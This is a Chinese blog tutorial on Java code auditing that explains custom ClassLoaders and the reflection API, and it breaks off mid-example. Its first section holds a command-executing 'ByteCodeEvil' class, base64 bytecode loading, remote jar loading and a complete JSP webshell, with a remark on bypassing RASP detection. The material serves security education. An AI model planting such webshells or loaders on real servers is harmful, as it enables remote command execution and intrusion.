「Java代码审计」Java代码审计基础知识「二」-程序员宅基地

技术标签: # Java代码审计  渗透测试  信息安全  网络安全  


也许每个人出生的时候都以为这世界都是为他一个人而存在的,当他发现自己错的时候,他便开始长大

少走了弯路,也就错过了风景,无论如何,感谢经历


转移发布平台通知:将不再在程序员宅基地发布新文章,敬请移步知识星球

感谢大家一直以来对我程序员宅基地的关注和支持,但是我决定不再在这里发布新文章了。为了给大家提供更好的服务和更深入的交流,我开设了一个知识星球,内部将会提供更深入、更实用的技术文章,这些文章将更有价值,并且能够帮助你更好地解决实际问题。期待你加入我的知识星球,让我们一起成长和进步

0x01 自定义ClassLoader

java.lang.ClassLoader是所有的类加载器的父类,java.lang.ClassLoader有非常多的子类加载器,比如我们用于加载jar包的java.net.URLClassLoader其本身通过继承java.lang.ClassLoader类,重写了findClass方法从而实现了加载目录class文件甚至是远程资源文件。

以上说明:如果不通过loadClass来加载类,可以不重写findClass方法

自定义类加载器的步骤:

  • 继承ClassLoader抽象类,也可以继承其他类比如URLClassLoader,AppClassLoader和ExtClassLoader都继承于URLClassLoader
  • 创建构造方法,并且构造方法中调用父类的构造方法,如果要加载的类在当前的classpath下,应该传入空的parent,避免AppClassLoader加载此类
  • 重写findClass方法,在这个方法中需要调用父类的defineClass方法,这个方法需要传入类文件的字节数组
  • 定义一个读取类文件的方法,传入类的全名称,方法字节数组

既然已知ClassLoader具备了加载类的能力,写一个自己的类加载器来实现加载自定义的字节码(以加载TestOrangey类为例)并调用orangey方法

如果com.anbai.sec.classloader.TestOrangey类存在的情况下,可以使用如下代码即可实现调用hello方法并输出:

TestOrangey t = new TestOrangey();
String str = t.orangey();
System.out.println(str);

但是如果com.anbai.sec.classloader.TestOrangey根本就不存在于我们的classpath,那么我们可以使用自定义类加载器重写findClass方法,然后在调用defineClass方法的时候传入TestHelloWorld类的字节码的方式来向JVM中定义一个TestOrangey类,最后通过反射机制就可以调用TestOrangey类的orangey方法了。

例如TestClassLoader代码:

package com.anbai.sec.classloader;

import java.lang.reflect.Method;

public class TestClassLoader extends ClassLoader {
    

    // TestHelloWorld类名
    private static String testClassName = "com.anbai.sec.classloader.TestHelloWorld";

    // TestHelloWorld类字节码
    private static byte[] testClassBytes = new byte[]{
    
            -54, -2, -70, -66, 0, 0, 0, 51, 0, 17, 10, 0, 4, 0, 13, 8, 0, 14, 7, 0, 15, 7, 0,
            16, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100,
            101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101,
            1, 0, 5, 104, 101, 108, 108, 111, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108,
            97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99,
            101, 70, 105, 108, 101, 1, 0, 19, 84, 101, 115, 116, 72, 101, 108, 108, 111, 87, 111,
            114, 108, 100, 46, 106, 97, 118, 97, 12, 0, 5, 0, 6, 1, 0, 12, 72, 101, 108, 108, 111,
            32, 87, 111, 114, 108, 100, 126, 1, 0, 40, 99, 111, 109, 47, 97, 110, 98, 97, 105, 47,
            115, 101, 99, 47, 99, 108, 97, 115, 115, 108, 111, 97, 100, 101, 114, 47, 84, 101, 115,
            116, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 1, 0, 16, 106, 97, 118, 97, 47, 108,
            97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0, 3, 0, 4, 0, 0, 0, 0, 0, 2, 0, 1,
            0, 5, 0, 6, 0, 1, 0, 7, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0,
            1, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 0, 1, 0, 9, 0, 10, 0, 1, 0, 7, 0, 0, 0, 27, 0, 1,
            0, 1, 0, 0, 0, 3, 18, 2, -80, 0, 0, 0, 1, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 10, 0, 1, 0, 11,
            0, 0, 0, 2, 0, 12
    };

    @Override
    public Class<?> findClass(String name) throws ClassNotFoundException {
    
        // 只处理TestHelloWorld类
        if (name.equals(testClassName)) {
    
            // 调用JVM的native方法定义TestHelloWorld类
            return defineClass(testClassName, testClassBytes, 0, testClassBytes.length);
        }

        return super.findClass(name);
    }

    public static void main(String[] args) {
    
        // 创建自定义的类加载器
        TestClassLoader loader = new TestClassLoader();

        try {
    
            // 使用自定义的类加载器加载TestHelloWorld类
            Class testClass = loader.loadClass(testClassName);

            // 反射创建TestHelloWorld类,等价于 TestHelloWorld t = new TestHelloWorld();
            Object testInstance = testClass.newInstance();

            // 反射获取hello方法
            Method method = testInstance.getClass().getMethod("hello");

            // 反射调用hello方法,等价于 String str = t.hello();
            String str = (String) method.invoke(testInstance);

            System.out.println(str);
        } catch (Exception e) {
    
            e.printStackTrace();
        }
    }

}

利用自定义类加载器可以在WebShell中实现加载并调用自己编译的类对象,比如本地命令执行漏洞调用自定义类字节码的native方法绕过RASP检测,也可以用于加密重要的Java类字节码(只能算弱加密)。

  • Java中对象和字节数组互转

1.1 案例

  • 命令执行的类

编译成二进制并且用base64编码

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.Base64;

public class ByteCodeEvil {
    

    String res;

    public ByteCodeEvil(String cmd) throws IOException {
    
        StringBuilder stringBuilder = new StringBuilder();
        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
        String line;
        while((line = bufferedReader.readLine()) != null) {
    
            stringBuilder.append(line).append("\n");
        }
        res = stringBuilder.toString();
        //System.out.println(res);
    }

    @Override
    public String toString() {
    
        return res;
    }

    public static void main(String[] args) throws IOException {
    
        InputStream inputStream = ByteCodeEvil.class.getClassLoader().getResourceAsStream("ByteCodeEvil.class");
        byte[] bytes = new byte[inputStream.available()];
        inputStream.read(bytes);
        String code = Base64.getEncoder().encodeToString(bytes);
        System.out.println(code);
        ByteCodeEvil byteCodeEvil =new ByteCodeEvil("whoami");
        System.out.println(byteCodeEvil);
    }
}

将上文的类使用javac编译为字节码。通常在代码中加载字节码的过程会进行Base64编码。于是具体的代码中使用Base64解码后,转为类对象,手动触发该类的构造方法即可实现Webshell的功能

String cmd = request.getParameter("cmd");
ClassLoader loader = new ClassLoader() {
    ...};
Class<?> clazz = loader.loadClass("ByteCodeEvil");
Constructor<?> constructor = clazz.getConstructor(String.class);
String result = constructor.newInstance(cmd).toString();

实际上自定义ClassLoader这个过程并不简单,注意到ClassLoader是无法直接在运行时加载字节码的,至少需要重写findClass方法和loadClass方法,其中loadClass方法会先查找该类是否已被加载,调用findLoadedClass方法

如果没有找到,则会调用loadClass方法;如果还是没有找到,会调用findClass方法。如果没有重写该方法的情况,默认是抛出异常。如果重写了该方法,则会自定义加载。

在Java的类加载中的双亲委派机制:

  • 首先会检查该类是否已经被加载,若没有被加载,则会委托父加载器进行装载,只有当父加载器无法加载时,才会调用自身的findClass()方法进行加载。这样避免了子加载器加载一些试图冒名顶替可信任类的不可靠类,也不会让子加载器去实现父加载器实现的加载工作

例如,用户使用自定义加载器加载java.lang.Object类,实际上委派给BootstrapClassLoader加载器。如果用户使用自定义类加载器加载java.lang.Exp类,父类无法加载只能交给自定义类加载器。由于同在java.lang包下,所以Exp类可以访问其他类的protected属性,可能涉及到一些敏感信息

下面重写findClass方法实现自定义类加载:

package com.trevain.classload1;

import java.util.Base64;

public class TestClassLoader extends ClassLoader{
    

    // TestHelloWorld类名
    private static String testClassName = "ByteCodeEvil";//替换名字
    @Override
    public Class<?> findClass(String name) throws ClassNotFoundException {
    
        // 只处理TestHelloWorld类
        if (name.equals(testClassName)) {
    
            byte[] bytes = Base64.getDecoder().decode("base64_byte");//替换字节码
            // 调用JVM的native方法定义TestHelloWorld类
            return defineClass(testClassName, bytes, 0, bytes.length);
        }
        return super.findClass(name);
    }
    public static void main(String[] args) {
    
        // 创建自定义的类加载器
        TestClassLoader loader = new TestClassLoader();

        try {
    
            // 使用自定义的类加载器加载TestHelloWorld类
            Class<?> testClass = loader.findClass(testClassName);

            // 反射通过构造器新建对象
            Object testInstance = testClass.getConstructor(String.class).newInstance("net user");
            System.out.println(testInstance);

            // 反射获取hello方法
            //Method method = testInstance.getClass().getMethod("hello");

            // 反射调用hello方法,等价于 String str = t.hello();
            //String str = (String) method.invoke(testInstance);

            //System.out.println(str);
        } catch (Exception e) {
    
            e.printStackTrace();
        }
    }
}
  • URL类加载器实现的代码
package com.trevain.classload1;

import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class URLClassLoaderTest {
    
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
    
        // 定义远程加载的jar路径
        URL url = new URL("http://127.0.0.1:8000/javaEvalCmd.jar");

        // 创建URLClassLoader对象,并加载远程jar包
        URLClassLoader ucl = new URLClassLoader(new URL[]{
    url});

        // 通过URLClassLoader加载远程jar包中的CMD类
        Class<?> cmdClass = ucl.loadClass("wang.ByteCodeEvil");
        Object net_user = cmdClass.getConstructor(String.class).newInstance("net user");
        //System.out.println(net_user);

    }
}
  • 改成webshell
<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<html>
<body>
<h2>URLClassLoader加载远程jar的JSP Webshell</h2>
<%
    response.getOutputStream().write(new URLClassLoader(new URL[]{
    new URL("http://127.0.0.1:8000/javaEvalCmd.jar")}).loadClass(
            "wang.ByteCodeEvil").getConstructor(String.class).newInstance(String.valueOf(request.getParameter("cmd"))).toString().getBytes());
%>
</body>
</html>

0x02 Java反射机制

2.1 什么是反射?

Java反射(Reflection)是Java非常重要的动态特性,通过使用反射我们不仅可以获取到任何类的成员方法(Methods)、成员变量(Fields)、构造方法(Constructors)等信息,还可以动态创建Java类实例、调用任意的类方法、修改任意的类成员变量值等。Java反射机制是Java语言的动态性的重要体现,也是Java的各种框架底层实现的灵魂

  • Java反射机制的核心是在程序运行时动态加载类并获取类的详细信息,从而操作类或对象的属性和方法。本质是JVM得到class对象之后,再通过class对象进行反编译,从而获取对象的各种信息
  • Java属于先编译再运行的语言,程序中对象的类型在编译期就确定下来了,而当程序在运行时可能需要动态加载某些类,这些类因为之前用不到,所以没有被加载到JVM。通过反射,可以在运行时动态地创建对象并调用其属性,不需要提前在编译期知道运行的对象是谁

Java反射机制容许程序在运行时加载、探知、使用编译期间完全未知的classes。换言之,Java可以加载一个运行时才得知名称的class,获得其完整结构。现在很多开框架都用到反射机制,hibernate、struts都是用反射机制实现的。安卓上现在的通过反射操作注解,通过反射操作泛型,都是一些很棒的示例

获取字节码文件对象(获取class对象的方式)的三种方式:

  • 根据类名:类名.class;
  • 根据对象:对象.getClass()
  • 根据全限定类名:Class.forName(全限定类名)
类名.class,如:com.anbai.sec.classloader.TestHelloWorld.class
classLoader.loadClass("com.anbai.sec.classloader.TestHelloWorld")
Class.forName("com.anbai.sec.classloader.TestHelloWorld")

获取数组类型的Class对象需要特殊注意,需要使用Java类型的描述符方式,如下:

Class<?> doubleArray = Class.forName("[D");//相当于double[].class
Class<?> cStringArray = Class.forName("[[Ljava.lang.String;");// 相当于String[][].class

获取Runtime类Class对象代码片段:

String className     = "java.lang.Runtime";
Class  runtimeClass1 = Class.forName(className);
Class  runtimeClass2 = java.lang.Runtime.class;
Class  runtimeClass3 = ClassLoader.getSystemClassLoader().loadClass(className);

通过以上任意一种方式就可以获取java.lang.Runtime类的Class对象,反射调用内部类的时候需要使用$ 来代替. ,如com.anbai.Test类有一个叫做Hello的内部类,那么调用的时候就应该将类名写成:com.anbai.Test$Hello

2.1.1 反射调用类方法

获取类中的所有成员方法:

Method[] methods = clazz.getDeclaredMethods()

获取当前类指定的成员方法:

Method method = clazz.getDeclaredMethod("方法名");
Method method = clazz.getDeclaredMethod("方法名", 参数类型如String.class,多个参数用","号隔开);

getMethod和getDeclaredMethod都能够获取到类成员方法,区别在于getMethod只能获取到当前类和父类的所有有权限的方法(如:public),而getDeclaredMethod能获取到当前类的所有成员方法(不包含父类)

调用类方法代码:

  • method.invoke(方法实例对象, 方法参数值,多个参数值用","隔开);
    method.invoke的第一个参数必须是类实例对象,如果调用的是static方法那么第一个参数值可以传null,因为在java中调用静态方法是不需要有类实例的,因为可以直接类名.方法名(参数)的方式调用
  • method.invoke的第二个参数不是必须的,如果当前调用的方法没有参数,那么第二个参数可以不传,如果有参数那么就必须严格的依次传入对应的参数类型

2.1.2 反射调用成员属性

Java反射不但可以获取类所有的成员变量名称,还可以无视权限修饰符实现修改对应的值。

  • 获取当前类的所有成员变量:
Field fields = clazz.getDeclaredFields();
  • 获取当前类的指定成员变量:
Field field  = clazz.getDeclaredField("变量名");
  • 获取成员变量值:
Object obj = field.get(类实例对象);
  • 修改成员变量值:
field.set(类实例对象, 修改后的值);

当没有修改的成员变量权限时可以使用:field.setAccessible(true)的方式修改为访问成员变量访问权限

2.2 反射机制能做什么?

反射机制主要提供了以下功能:

  • 在运行时判断任意一个对象所属的类
  • 在运行时构造任意一个类的对象
  • 在运行时判断任意一个类所具有的成员变量和方法
  • 在运行时调用任意一个对象的方法
  • 生成动态代理

在使用Java的反射功能时,基本首先都要获取类的Class对象,再通过Class对象获取其它的对象

2.3 反射的原理

下图是类的正常加载过程、反射原理与class对象:

Class对象的由来是将.class文件读入内存,并为之创建一个Class对象

在这里插入图片描述

0x03 反射机制的相关API

3.1 通过一个对象获得完整的包名和类名

package  net.xsoftlab.baike;
public  class  TestReflect {
    
     public  static  void  main(String[] args)  throws  Exception {
    
         TestReflect testReflect =  new  TestReflect();
         System.out.println(testReflect.getClass().getName());
         // 结果 net.xsoftlab.baike.TestReflect
     }
}

3.2 实例化Class类对象

package  net.xsoftlab.baike;
public  class  TestReflect {
    
     public  static  void  main(String[] args)  throws  Exception {
    
         Class<?> class1 =  null ;
         Class<?> class2 =  null ;
         Class<?> class3 =  null ;
         // 一般采用这种形式
         class1 = Class.forName( "net.xsoftlab.baike.TestReflect" );
         class2 =  new  TestReflect().getClass();
         class3 = TestReflect. class ;
         System.out.println( "类名称   "  + class1.getName());
         System.out.println( "类名称   "  + class2.getName());
         System.out.println( "类名称   "  + class3.getName());
     }
}

3.3 获取一个对象的父类与实现的接口

package  net.xsoftlab.baike;
import  java.io.Serializable;
public  class  TestReflect  implements  Serializable {
    
     private  static  final  long  serialVersionUID = -2862585049955236662L;
     public  static  void  main(String[] args)  throws  Exception {
    
         Class<?> clazz = Class.forName( "net.xsoftlab.baike.TestReflect" );
         // 取得父类
         Class<?> parentClass = clazz.getSuperclass();
         System.out.println( "clazz的父类为:"  + parentClass.getName());
         // clazz的父类为: java.lang.Object
         // 获取所有的接口
         Class<?> intes[] = clazz.getInterfaces();
         System.out.println( "clazz实现的接口有:" );
         for  ( int  i =  0 ; i < intes.length; i++) {
    
             System.out.println((i +  1 ) +  ":"  + intes[i].getName());
         }
         // clazz实现的接口有:
         // 1:java.io.Serializable
     }
}

3.4 获取某个类中的全部构造函数

不论是方法的反射、成员变量的反射、构造函数的反射,只需要知道:要想获取类的信息,首先得获取类的类类型

public static void printConMessage(Object obj){
    
         Class c = obj.getClass();
         /*
         * 首先构造函数也是对象,是java.lang.Constructor类的对象
         * 也就是java.lang. Constructor中封装了构造函数的信息
         * 和前面说到的一样,它也有两个方法:
         * getConstructors()方法获取所有的public的构造函数
         * getDeclaredConstructors()方法得到所有的自己声明的构造函数
         */
         // Constructor[] cs = c.getConstructors();
         Constructor[] cs = c.getDeclaredConstructors();
    for (Constructor constructor : cs) {
    
         //我们知道构造方法是没有返回值类型的,但是我们可以:
         System.out.print(constructor.getName()+"(");
         //获取构造函数的参数列表》》得到的是参数列表的类类型
         Class[] paramTypes = constructor.getParameterTypes();
    for (Class class1 : paramTypes) {
    
         System.out.print(class1.getName()+",");
    }
         System.out.println(")");
    }
}
  • 构造函数
//获取字节码文件
Class classs = Class.forName("com.zcbq.reflect.User");
//先获取有参构造,parameterTypes:表述参数列表,也可以不写
Constructor constructor = classs.getConstructor(int.class,String.class,int.class,String.class);
//通过构造器来实例化对象,将实际的参数传进去
User user = (User) constructor.newInstance(01,"小A",13,"小G");
  • 获取全部构造函数
//获取字节码文件
Class classs = Class.forName("com.zcbq.reflect.User");
//获取所有构造函数
Constructor constructor[] = classs.getConstructors();
//遍历所有构造函数
for(int i=0;i<constructor.length;i++){
    
    //获取每个构造函数中的参数类型字节码对象
    Class[] parameterTypes = constructor[i].getParameterTypes();
    System.out.println("第"+i+"个构造函数:");
    for (int j = 0; j < parameterTypes.length; j++) {
    
        System.out.println(parameterTypes[j].getName()+",");
    }
}

3.4.1 通过反射机制实例化一个类的对象

package  net.xsoftlab.baike;
import  java.lang.reflect.Constructor;
public  class  TestReflect {
    
     public  static  void  main(String[] args)  throws  Exception {
    
         Class<?> class1 =  null ;
         class1 = Class.forName( "net.xsoftlab.baike.User" );
         // 第一种方法,实例化默认构造方法,调用set赋值
         User user = (User) class1.newInstance();
         user.setAge( 20 );
         user.setName( "Rollen" );
         System.out.println(user);
         // 结果 User [age=20, name=Rollen]
         // 第二种方法 取得全部的构造函数 使用构造函数赋值
         Constructor<?> cons[] = class1.getConstructors();
         // 查看每个构造方法需要的参数
         for  ( int  i =  0 ; i < cons.length; i++) {
    
             Class<?> clazzs[] = cons[i].getParameterTypes();
             System.out.print( "cons["  + i +  "] (" );
             for  ( int  j =  0 ; j < clazzs.length; j++) {
    
                 if  (j == clazzs.length -  1 )
                     System.out.print(clazzs[j].getName());
                 else
                     System.out.print(clazzs[j].getName() +  "," );
             }
             System.out.println( ")" );
         }
         // 结果
         // cons[0] (java.lang.String)
         // cons[1] (int,java.lang.String)
         // cons[2] ()
         user = (User) cons[ 0 ].newInstance( "Rollen" );
         System.out.println(user);
         // 结果 User [age=0, name=Rollen]
         user = (User) cons[ 1 ].newInstance( 20 ,  "Rollen" );
         System.out.println(user);
         // 结果 User [age=20, name=Rollen]
     }
}
class  User {
    
     private  int  age;
     private  String name;
     public  User() {
    
         super ();
     }
     public  User(String name) {
    
         super ();
         this .name = name;
     }
     public  User( int  age, String name) {
    
         super ();
         this .age = age;
         this .name = name;
     }
     public  int  getAge() {
    
         return  age;
     }
     public  void  setAge( int  age) {
    
         this .age = age;
     }
     public  String getName() {
    
         return  name;
     }
     public  void  setName(String name) {
    
         this .name = name;
     }
     @Override
     public  String toString() {
    
         return  "User [age="  + age +  ", name="  + name +  "]" ;
     }
}

3.5 获取某个类的全部属性

成员变量也是对象,是java.lang.reflect.Field类的对象,那么也就是说Field类封装了关于成员变量的操作。既然它封装了成员变量,又该如何获取这些成员变量呢?它有这么一个方法:

public class ClassUtil {
    
public static void printFieldMessage(Object obj){
    
     Class c = obj.getClass();
     //Field[] fs = c.getFields();
}

这里的getFields()方法获取的所有的public的成员变量的信息,和方法的反射那里public的成员变量,也有一个获取所有自己声明的成员变量的信息:

Field[] fs = c.getDeclaredFields();

在得到它之后,可以进行遍历(既然封装了Field的信息,就可以得到Field类型)

for (Field field : fs) {
    
     //得到成员变量的类型的类类型
     Class fieldType = field.getType();
     String typeName = fieldType.getName();
     //得到成员变量的名称
     String fieldName = field.getName();
     System.out.println(typeName+" "+fieldName);
}

spring对未提供set方法的private属性依然可以注入感到神奇万分,现在看来,这神奇的根源自然是来自于java的反射,常用的方法如下

  • 获取指定成员变量
//获取字节码文件
Class classs = Class.forName("com.zcbq.reflect.User");
//获取其实例对象
User user = (User) classs.newInstance();
//获取成员变量classs.getField(name);通过name来获取指定成员变量
//如果该成员变量是私有的,则应该使用getDeclaredField(name);
Field declaredField = classs.getDeclaredField("userName");
//因为属性是私有的,获得其对象后,还要让打开可见权限
declaredField.setAccessible(true);
//对成员变量进行操作
//赋值操作
declaredField.set(user, "Richard");
System.out.println(user.getUserName());
  • 获取全部属性
//获取字节码文件
Class classs = Class.forName("com.zcbq.reflect.User");
//获取其实例对象
User user = (User) classs.newInstance();
//赋值操作
user.setUserNum(01);
user.setUserName("小A");
//将私有属性一并获得
Field[] fields = classs.getDeclaredFields();
//遍历所有属性
for (int i = 0; i < fields.length; i++) {
    
//打开可见权限
fields[i].setAccessible(true);
System.out.println(fields[i].get(user));
}
package  net.xsoftlab.baike;
import  java.io.Serializable;
import  java.lang.reflect.Field;
import  java.lang.reflect.Modifier;
public  class  TestReflect  implements  Serializable {
    
     private  static  final  long  serialVersionUID = -2862585049955236662L;
     public  static  void  main(String[] args)  throws  Exception {
    
         Class<?> clazz = Class.forName( "net.xsoftlab.baike.TestReflect" );
         System.out.println( "===============本类属性===============" );
         // 取得本类的全部属性
         Field[] field = clazz.getDeclaredFields();
         for  ( int  i =  0 ; i < field.length; i++) {
    
             // 权限修饰符
             int  mo = field[i].getModifiers();
             String priv = Modifier.toString(mo);
             // 属性类型
             Class<?> type = field[i].getType();
             System.out.println(priv +  " "  + type.getName() +  " "  + field[i].getName() +  ";" );
         }
         
         System.out.println( "==========实现的接口或者父类的属性==========" );
         // 取得实现的接口或者父类的属性
         Field[] filed1 = clazz.getFields();
         for  ( int  j =  0 ; j < filed1.length; j++) {
    
             // 权限修饰符
             int  mo = filed1[j].getModifiers();
             String priv = Modifier.toString(mo);
             // 属性类型
             Class<?> type = filed1[j].getType();
             System.out.println(priv +  " "  + type.getName() +  " "  + filed1[j].getName() +  ";" );
         }
     }
}

3.6 获取某个类的全部方法

  • 不带参数的方法
//获取字节码文件
Class classs = Class.forName("com.zcbq.reflect.User");
//获取其实例对象
User user = (User) classs.newInstance();
//不带参数的方法,name为不带参数的方法
/*
* classs.getMethod(name,paraMeterTypes)
* name:方法的名称
* paraMeterTypes:方法的参数类型,没有则什么都不填 例如:String.class 
*/
Method method = classs.getMethod("name");
//调用方法
/*
* method.invoke(obj,args)
* obj:方法的对象
* args:实际的参数值,没有则不填
*/
method.invoke(user);
  • 带参数的方法
//获取字节码文件
Class classs = Class.forName("com.zcbq.reflect.User");
//获取其实例对象
// User user = (User) classs.newInstance();
//获取带参数的方法,为方法名
// Method method = classs.getDeclaredMethod("namess", String.class);
//设置可见性
// method.setAccessible(true);
//调用方法
// method.invoke(user, "text");
  • 获取所有的方法
//获取字节码文件
Class classs = Class.forName("com.zcbq.reflect.User");
//获取其实例对象
User user = (User) classs.newInstance();
//获取所有的方法
Method[] methods = classs.getMethods();
//遍历所有方法
for (Method method : methods) {
    
    //设置可见性
    method.setAccessible(true);
    System.out.println(method.getName());
    //获得方法的参数
    Class<?>[] parameterTypes = method.getParameterTypes();
    for (int i = 0; i < parameterTypes.length; i++) {
    
        //获得构造函数中参数类型
        System.out.println(parameterTypes[i].getName()+",");
    }
}
package  net.xsoftlab.baike;
import  java.io.Serializable;
import  java.lang.reflect.Method;
import  java.lang.reflect.Modifier;
public  class  TestReflect  implements  Serializable {
    
     private  static  final  long  serialVersionUID = -2862585049955236662L;
     public  static  void  main(String[] args)  throws  Exception {
    
         Class<?> clazz = Class.forName( "net.xsoftlab.baike.TestReflect" );
         Method method[] = clazz.getMethods();
         for  ( int  i =  0 ; i < method.length; ++i) {
    
             Class<?> returnType = method[i].getReturnType();
             Class<?> para[] = method[i].getParameterTypes();
             int  temp = method[i].getModifiers();
             System.out.print(Modifier.toString(temp) +  " " );
             System.out.print(returnType.getName() +  "  " );
             System.out.print(method[i].getName() +  " " );
             System.out.print( "(" );
             for  ( int  j =  0 ; j < para.length; ++j) {
    
                 System.out.print(para[j].getName() +  " "  +  "arg"  + j);
                 if  (j < para.length -  1 ) {
    
                     System.out.print( "," );
                 }
             }
             Class<?> exce[] = method[i].getExceptionTypes();
             if  (exce.length >  0 ) {
    
                 System.out.print( ") throws " );
                 for  ( int  k =  0 ; k < exce.length; ++k) {
    
                     System.out.print(exce[k].getName() +  " " );
                     if  (k < exce.length -  1 ) {
    
                         System.out.print( "," );
                     }
                 }
             }  else  {
    
                 System.out.print( ")" );
             }
             System.out.println();
         }
     }
}

3.7 通过反射机制调用某个类的方法

package  net.xsoftlab.baike;
import  java.lang.reflect.Method;
public  class  TestReflect {
    
     public  static  void  main(String[] args)  throws  Exception {
    
         Class<?> clazz = Class.forName( "net.xsoftlab.baike.TestReflect" );
         // 调用TestReflect类中的reflect1方法
         Method method = clazz.getMethod( "reflect1" );
         method.invoke(clazz.newInstance());
         // Java 反射机制 - 调用某个类的方法1.
         // 调用TestReflect的reflect2方法
         method = clazz.getMethod( "reflect2" ,  int . class , String. class );
         method.invoke(clazz.newInstance(),  20 ,  "张三" );
         // Java 反射机制 - 调用某个类的方法2.
         // age -> 20. name -> 张三
     }
     public  void  reflect1() {
    
         System.out.println( "Java 反射机制 - 调用某个类的方法1." );
     }
     public  void  reflect2( int  age, String name) {
    
         System.out.println( "Java 反射机制 - 调用某个类的方法2." );
         System.out.println( "age -> "  + age +  ". name -> "  + name);
     }
}

3.8 通过反射机制操作某个类的属性

package  net.xsoftlab.baike;
import  java.lang.reflect.Field;
public  class  TestReflect {
    
     private  String proprety =  null ;
     public  static  void  main(String[] args)  throws  Exception {
    
         Class<?> clazz = Class.forName( "net.xsoftlab.baike.TestReflect" );
         Object obj = clazz.newInstance();
         // 可以直接对 private 的属性赋值
         Field field = clazz.getDeclaredField( "proprety" );
         field.setAccessible( true );
         field.set(obj,  "Java反射机制" );
         System.out.println(field.get(obj));
     }
}

Class类有一个最简单的方法,getName():

public class Demo2 {
    
public static void main(String[] args) {
    
      Class c1 = int.class;//int 的类类型
      Class c2 = String.class;//String类的类类型
      Class c3 = void.class;
      System.out.println(c1.getName());
      System.out.println(c2.getName());
      System.out.println(c2.getSimpleName());
      System.out.println(c3.getName());
      }
}

getName方法可以打印出该类类型的类名称,我们也可以用getSimpleName()方法可以打印出不包含包名的类的名称。从上面代码可以看出,基本的数据类型以及void关键字都是存在类类型的

  • 案例
public class ClassUtil {
    
public static void printClassMethodMessage(Object obj){
    
      //要获取类的信息》》首先我们要获取类的类类型
      Class c = obj.getClass();
      //我们知道Object类是一切类的父类,所以我们传递的是哪个子类的对象,c就是该子类的类类型。
      //接下来我们要获取类的名称
      System.out.println("类的名称是:"+c.getName());
      /*
      *我们知道,万事万物都是对象,方法也是对象,是谁的对象呢?
      * 在java里面,方法是Method类的对象
      *一个成员方法就是一个Method的对象,那么Method就封装了对这个成员
      *方法的操作
      */
      //如果我们要获得所有的方法,可以用getMethods()方法,这个方法获取的是所有的Public的函数,包括父类继承而来的。如果我们要获取所有该类自己声明的方法,就可以用getDeclaredMethods()方法,这个方法是不问访问权限的。
Method[] ms = c.getMethods();//c.getDeclaredMethods()
      //接下来我们拿到这些方法之后干什么?我们就可以获取这些方法的信息,比如方法的名字。
      //首先我们要循环遍历这些方法
      for(int i = 0; i < ms.length;i++){
    
//然后可以得到方法的返回值类型的类类型
            Class returnType = ms[i].getReturnType();
            //得到方法的返回值类型的名字
            System.out.print(returnType.getName()+" ");
            //得到方法的名称
            System.out.print(ms[i].getName()+"(");
            //获取参数类型--->得到的是参数列表的类型的类类型
            Class[] paramTypes = ms[i].getParameterTypes();

      for (Class class1 : paramTypes) {
    
            System.out.print(class1.getName()+",");
            }
            System.out.println(")");
        }
    }
}

PS:通过方法的反射得到该类的名称步骤:

  • 获取该类的类类型
  • 通过类类型获取类的方法(getMethods())
  • 循环遍历所获取到的方法
  • 通过这些方法的getReturnType()得到返回值类型的类类型,又通过该类类型得到返回值类型的名字
  • getName()得到方法的名称,getParameterTypes()获取这个方法里面的参数类型的类类型

3.9 反射机制的动态代理

动态代理:利用Java的反射技术(Java Reflection),在运行时创建一个实现某些给定接口的新类(也称“动态代理类”)及其实例(对象);代理的是接口(Interfaces),不是类(Class),更不是抽象类

动态代理的实现分三步:

  • new出代理对象,通过实现InvacationHandler接口,然后new出代理对象来
  • 通过Proxy类中的静态方法newProxyInstance,来将代理对象假装成那个被代理的对象,也就是如果叫人帮我们代买火车票一样,那个代理就假装成我们自己本人
  • 执行方法,代理成功

:JDK提供的代理正能针对接口做代理,也就是上面的第二步返回的必须要是一个接口

// 获取类加载器的方法
TestReflect testReflect =  new  TestReflect();
         System.out.println( "类加载器  "  + testReflect.getClass().getClassLoader().getClass().getName());
package  net.xsoftlab.baike;
import  java.lang.reflect.InvocationHandler;
import  java.lang.reflect.Method;
import  java.lang.reflect.Proxy;
//定义项目接口
interface  Subject {
    
     public  String say(String name,  int  age);
}
// 定义真实项目
class  RealSubject  implements  Subject {
    
     public  String say(String name,  int  age) {
    
         return  name +  "  "  + age;
     }
}
class  MyInvocationHandler  implements  InvocationHandler {
    
     private  Object obj =  null ;
     public  Object bind(Object obj) {
    
         this .obj = obj;
         return  Proxy.newProxyInstance(obj.getClass().getClassLoader(), obj.getClass().getInterfaces(),  this );
     }
     public  Object invoke(Object proxy, Method method, Object[] args)  throws  Throwable {
    
         Object temp = method.invoke( this .obj, args);
         return  temp;
     }
}
/**
  * 在java中有三种类类加载器。
  * 
  * 1)Bootstrap ClassLoader 此加载器采用c++编写,一般开发中很少见。
  * 
  * 2)Extension ClassLoader 用来进行扩展类的加载,一般对应的是jrelibext目录中的类
  * 
  * 3)AppClassLoader 加载classpath指定的类,是最常用的加载器。同时也是java中默认的加载器。
  * 
  * 如果想要完成动态代理,首先需要定义一个InvocationHandler接口的子类,已完成代理的具体操作。
  * 
  * @author xsoftlab.net
  * 
  */
public  class  TestReflect {
    
     public  static  void  main(String[] args)  throws  Exception {
    
         MyInvocationHandler demo =  new  MyInvocationHandler();
